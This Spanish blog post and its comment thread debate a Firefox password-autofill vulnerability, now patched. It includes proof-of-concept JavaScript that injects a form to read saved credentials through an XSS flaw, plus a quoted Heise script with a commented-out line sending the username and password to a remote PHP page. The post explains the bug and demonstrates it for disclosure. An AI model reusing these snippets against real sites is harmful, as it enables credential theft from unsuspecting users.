Firefox y el robo de contraseñas

Actualización: Al parecer Firefox 2.0.0.6 RC1 y RC2 corrigen entre otras cosas, la ejecución remota de programas y esta vulnerabilidad.

A través de menéame, llegué a leer un artículo en el que intentan minimizar el impacto de la vulnerabilidad que permite el robo de contraseñas en Firefox. Haré algunos comentarios citando partes del contenido (negritas agregadas intencionalmente):

Veamos la demostración que nos proponen realizar:
http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml

[...]

No hay dudas de que la demostración realiza esto en caso de que hayamos indicado a Firefox que recuerde nuestra contraseña el momento de ingresarla. Sin embargo la demostración se está realizando en el mismo dominio y subdominio. Que sentido tiene esto si estamos en el mismo sitio? Acaso el sitio se roba a su propio sitio?

Para explotar esa vulnerabilidad de Firefox, sólo basta encontrar un bug XSS en cualquier parte de ese dominio (ver demo más abajo).

Ahora veamos el código del formulario de la demostración:

code:
<form method=”get” action=”#” name=”passtest”>
<input type=”text” name=”name”/>
<input type=”password” name=”password”/>
<input type=”submit” value=”submit”/>
</form>

Si vemos el código fuente de la "evil page", vemos un formulario similar con los mismos nombres de campos que el anterior.

Al ingresar los datos en el formulario de la demostración, se verá la siguiente URL tanto en Firefox como en Opera y IE7:

code:
http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml?name=miusuario&password=micontrase%F1a#

Para que es necesaria una “evil page” que revele las contraseñas si estas están siendo ya reveladas en la URL? Solo vean la barra de direcciones.

Por otro lado, yo me pregunto: acaso algún sitio serio va a implementar un sistema de contraseñas sin utilizar SSL? Es una locura, además sería responsabilidad del sitio que lo implementa y no del navegador. Ningún sitio en serio implementará contraseñas de ese tipo.

El redactor interpreta mal la prueba de concepto, porque en nigún momento usa la URL para obtener las credenciales, usa el siguiente script:

javascript:
<script>
// setTimeout("dosubmit()", 1000);
setTimeout("doit()", 1000);

function dosubmit()
{
  document.passtest.submit();
}

function doit()
{
   name = document.passtest.name.value;
   password = document.passtest.password.value;
   alert("Your username is: " + name + " and the password is: " + password);
   //document.location = "http://www.heise.de/security/dienste/browsercheck/demos/nc/psteal2.php?name=" + name + "&password=" + password;
}

</script>

Por otro lado, para explotar esta vulnerabilidad dá lo mismo si se usa SSL o no.

También me pregunto: es esta una demostración real o un simple truco? La demo corre en el mismo dominio y mismo subdominio. Si creamos una “evil page” en otro servidor, la demostración no funcionará.

Aparentemente el redactor no captó bien lo que se comenta en la página que describe ese bug o entendí mal sus palabras y no está consciente de los peligros de Cross Site Scripting. Preparé un pequeño demo en el que se simula que la página tiene una vulnerabilidad XSS y se hace uso de ésta para mostrar las credenciales almacenadas en Firefox:

php:
<?php header('Content-Type: text/html; charset=utf-8;'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>Firefox Demo</title> 
</head>

<body>
        <?php
        if ( isset($_GET['evil']) ) :
                /* Página vulnerable a XSS, podría ser cualquier página del dominio
                   para el que se guardan las credenciales */

                // echo $_GET['evil'];
                echo '<script src=http://codeout.org/wp-content/uploads/j.js></script>';
        else : ?>
    <form method="post" action="login.php">
            <input type="text" name="usr" />
                <input type="password" name="pass" />
                <input type="submit" name="login" value="Login &raquo;" />
        </form>
        <?php endif; ?>
       
</body>

</html>

El parámetro evil sirve para emular un bug XSS (por motivos de seguridad no envío ningún valor de evil al navegador), usando este parámetro se podría cargar el siguiente script en una página vulnerable:

javascript:
_c = function (tag, attr) {
        el = document.createElement(tag.toUpperCase());
        if (attr) for(k in attr) el[k] = attr[k];
        return el;
}
// Crear un formulario con los mismos nombres
var form = _c('form');
var user = _c('input', {type:'text', name:'usr'});
var pass = _c('input', {type:'password', name:'pass'});

form.appendChild(user);
form.appendChild(pass);
document.body.appendChild(form);

function showCredentials() {
        alert('Usuario: ' + user.value + ' -- Password:' + pass.value)
}

setTimeout("showCredentials()", 1000);

Esta prueba de concepto fue ejecutada con éxito en Firefox 2.0.0.5 y Windows XP (SP2), para reproducir este error primero tienen que guardar la contraseña para el siguiente formulario, si quieren ver vuestras credenciales almacenadas accedan a http://test.buayacorp.com/login.php?evil o http://test.buayacorp.com/fx.html.

Lo único acertado que veo en el artículo en cuestión, es la recomendación que se hace para establecer en false el valor de signon.prefillForms en la configuración de Firefox (about:config).

14 Replies to “Firefox y el robo de contraseñas”

  1. Lo que tu dices no tiene que ver con el tema en cuestión. El artículo al que citas está demostrando que la prueba de demostración es tontísima y no tiene nada que ver con la que tu has hecho. Acaso Gmail le roba las contraseñas a Google Reader cuando estamos utilizando los servicios de Google? No tiene sentido lo que dices.

  2. Por cierto, si estuvieras informado, sabrías que la versión 2.0.0.6 a1 ya resolvió por completo el GRAVISIMO problema que tu nos quieres dar a entender 😀

    Eso nadie lo dice. Y mira la barra de direcciones con el usuario y el pass para averiguarlos en esa demo. Funciona en TODOS los navegadores. Nadie va a implementar algo asi --.--

  3. @Marce: La prueba de concepto básicamente es la misma, sólo que en este caso uso un script de cargado desde otro dominio (posible gracias a una vulnerabilidad XSS). No entiendo lo que intentas decir al mencionar a Gmail y Google Reader, es probable que no hayas entendido lo que digo en esta entrada.

  4. Tu demostración es un XSS que no tiene nada que ver con el artículo que intentas criticar. La vulnerabilidad de Heise no es un XSS y es una tontería. No se como Kriptópolis la tomo en serio. Deberías haber dicho que encontraste una variante usando XSS y no ponerte a descalificar un artículo que se enfoca en otra cosa.

  5. Y tu demostración es en el mismo dominio -.-

    Demuestra que se puede robar desde otro dominio si quieres ser convincente.

  6. La prueba de concepto de Heise está mál explicada en el artículo de zonafirefox, además, si el XSS no tuviera nada que ver, no hubiera puesto el ejemplo para demostrar que esa vulnerabilidad no está limitada al mismo dominio...

  7. Lamento que hayas realizado un artículo en el que me llegas a subestimar de una manera increible. hubiese sido mas constructivo si me hubieras contactado o comentado el artículo aportando un ejemplo que realmente demostrara que se puede robar las contraseñas desde otro dominio y no poniendo ambas páginas en el mismo. Lo hubiese posteado y reafirmado el tema. Pero hasta ahora no he visto prueba de que ello sea posible y mientras no las haya no se puede decir que sea posible.

    Jamás dije que se utilizara la url ni intento explicar la tontísima demostración de Heise. he dicho que basta con fijarse en la URL para ver los datos de usuario y contraseña. Porque no hicieron una demostraciíon en la cual no haya quedado dudas de que eso era posible? Ellos mismos afirmaron que solo es posible dentro del mismo dominio. No fui yo.

    Me parece incorrecto que llegues a decir que soy un ignorante de XSS o que no tengo idea de esto o aquello. Creo que entendiste tu mal mi punto. Esa demostración no usa XSS. Veo que intentaste hacer algo con XSS, pero tu demostración no me convence de que desde OTRO dominio se pueda robar los datos.

    Lo de la solución temporal la comenté hace meses y casi nadie me dió atención, pero se empeñan en verle la parte dramática al asunto. Repito, Heise mismo indica que solo es posible en el mismo dominio.

    Has entendido mal o has querido entender mal mi punto de vista. Que yo no haya mencionado al script php que se llama en el script, no significa que no lo haya visto y analizado junto a jmiur y myself de bolsanegra, con quien más de una vez nos hemos divertido realizando ataques XSS ¨¨ En su lugar, prefiero apelar al sentido comun y decirle a los lectores que la demostración de heise no es para tomar en serio.

    Quiero que me muestren una demo de un formulario en un dominio y una página de robo de contraseñas en otro dominio diferente y que funcione la demostración. si es así, le daré todos los creditos a quien lo haya realizado y lo postearé como es debido y como más de una vez he dado a comentar algunas de las vulnerabilidades de Firefox.

    Reitero, lamento que te hayas referido de esa forma a mi artículo y a mi persona. No haré lo mismo y no te responderé ya que para mi las formas de proceder son otras y prefiero ser constructivo en lugar de andar intentando desbancar a redactores que no he tenido el placer de conocer y que por lo tanto no puedo decir que ignoran tal o cual tema. A mi en esos sitios que menciono no me responden los comentarios, pero yo en cambio respondo y aprecio que lo hagan en el sitio, más aun si es algo que puede aportar algo .

    Saludos

  8. PD: si tienes una demostración clara y que pueda ser realizara por cualquier usuario para que compruebe que se pueden robar datos desde otro dominio diferente, puedes contactarme a mi correo o gtalk y estaré encantado de verla y hasta publicarla. Pero ten en cuenta una cosa: estaremos ante algo muy diferente de lo que heise intenta demostrar.

    Saludos del 'redactor'

  9. Si alojas las demos en otro servidor, no funcionará. Basta con alojar tu fx.html en otro servidor:

    http://zonafirefox.net/fx.html

    Al estar en otro servidor, en mi Windows XP SP2 y Firefox 2.0.0.5 no sucede absolutamente nada. Espero que definitivamente se entienda a lo que me estoy refiriendo.

  10. Lamento que hayas realizado un artículo en el que me llegas a subestimar de una manera increible. hubiese sido mas constructivo si me hubieras contactado o comentado el artículo aportando un ejemplo que realmente demostrara que se puede robar las contraseñas desde otro dominio y no poniendo ambas páginas en el mismo. Lo hubiese posteado y reafirmado el tema. Pero hasta ahora no he visto prueba de que ello sea posible y mientras no las haya no se puede decir que sea posible.

    En la entrada no lo dije, pero como has visto, el texto y ejemplos que puse era demasiado como para poner todo eso en un comentario.

    Jamás dije que se utilizara la url ni intento explicar la tontísima demostración de Heise. he dicho que basta con fijarse en la URL para ver los datos de usuario y contraseña. Porque no hicieron una demostraciíon en la cual no haya quedado dudas de que eso era posible? Ellos mismos afirmaron que solo es posible dentro del mismo dominio. No fui yo.

    No sé si sólo es mi impresión o no, pero en mi opinión, si estás explicando como funciona la -- "tontísima" -- prueba de concepto, dices que sólo basta fijarse la url, pero no dices que pasa eso porque el método que usa el formulario de prueba es GET.

    Sobre porque no hicieron una prueba de concepto mejor, no tengo idea, pregúntales a ellos.

    Me parece incorrecto que llegues a decir que soy un ignorante de XSS o que no tengo idea de esto o aquello. Creo que entendiste tu mal mi punto. Esa demostración no usa XSS. Veo que intentaste hacer algo con XSS, pero tu demostración no me convence de que desde OTRO dominio se pueda robar los datos.

    Has entendido mal o has querido entender mal mi punto de vista. Que yo no haya mencionado al script php que se llama en el script, no significa que no lo haya visto y analizado junto a jmiur y myself de bolsanegra, con quien más de una vez nos hemos divertido realizando ataques XSS ¨¨ En su lugar, prefiero apelar al sentido comun y decirle a los lectores que la demostración de heise no es para tomar en serio.

    Quiero que me muestren una demo de un formulario en un dominio y una página de robo de contraseñas en otro dominio diferente y que funcione la demostración. si es así, le daré todos los creditos a quien lo haya realizado y lo postearé como es debido y como más de una vez he dado a comentar algunas de las vulnerabilidades de Firefox.

    En el polémico párrafo suponía (uso la palabra "aparentemente") que no conocías sobre XSS, igual no tenía como comprobar lo contrario. En todo caso, te pido disculpas por hacer esa suposición (en un momento hago los cambios en la entrada).

    Sobre el demo que hice, es básicamente para corroborar que ese bug puede ser explotado usando XSS sin necesidad de tener un archivo colgado en el sitio afectado, no sé si se entiende o no lo que intento explicar en la entrada. 🙂

    Por otro lado, tampoco tengo intención de hacerte cambiar de opinión sobre si ese bug es peligroso o no, cada uno puede sacar sus propias conclusiones.

    Reitero, lamento que te hayas referido de esa forma a mi artículo y a mi persona.
    [...]

    Reitero mis disculpas por decir que no conocías XSS y por llamarte 'redactor' -- no encontré tu nombre en zonafirefox.net.

  11. "No sé si sólo es mi impresión o no, pero en mi opinión, si estás explicando como funciona la — “tontísima” — prueba de concepto, dices que sólo basta fijarse la url, pero no dices que pasa eso porque el método que usa el formulario de prueba es GET."

    Quien quiera verlo basta con ver que es una demostración que utiliza GET. Para mi opinión personal y subjetiva, es algo tonto. Una demostración 'oficial' por asi decirlo, debería ser mas tajante. Solo un sitio muy falso usaria un sistema así para envio de datos.

    Se entiende tu idea, pero eso se puede hacer en cualquier navegador. Simplemente colocas un js externo el servidor, Pero si yo te pido la contraseña en mi sitio y tu la introduces, es en confianza de que yo haré lo que yo quiera con esa dirección. Cuando se trata de sitios malintencionados, a mi opinión se trata de variantes de phishing o que tengan unas condiciones de uso deplorables. En ese caso no es una vulnerabilidad de Firefox. Google podría hacerlo perfectamente, Yahoo, Hotmail, etc, etc. Uno mismo en su instalación de WordPress, Drupal, etc.

    "Sobre el demo que hice, es básicamente para corroborar que ese bug puede ser explotado usando XSS sin necesidad de tener un archivo colgado en el sitio afectado, no sé si se entiende o no lo que intento explicar en la entrada."

    Eso que hiciste con XSS no es algo de Firefox. Eso se puede hacer en cualquier sitio y cualquier navegador. Desde cualquier navegador puedes tomar los datos de un formulario y enviarlos por ejemplo a un correo, o a un js como mencionas. La gracia sería si desde otro servidor, ajeno completamente a otro, se pueden robar datos. Si es en el mismo servidor, pues es porque es un sitio malintencionado, como un sitio falso de PayPal, por ejemplo.

    Si tu archivo js puede recolectar la info de los formularios, puede hacerlo tanto en Firefox como en Opera como en IE. Es algo normal, se usa para envio de formularios, segun entiendo.

    Es por lo anterior que yo no considero algo grave que Firefox rellene automáticamente los datos mientras se encuentre dentro del mismo dominio y que estos datos puedan ser obtenidos, repito, dentro del mismo servidor.

    Saludos y gracias por la respuesta.

Comments are closed.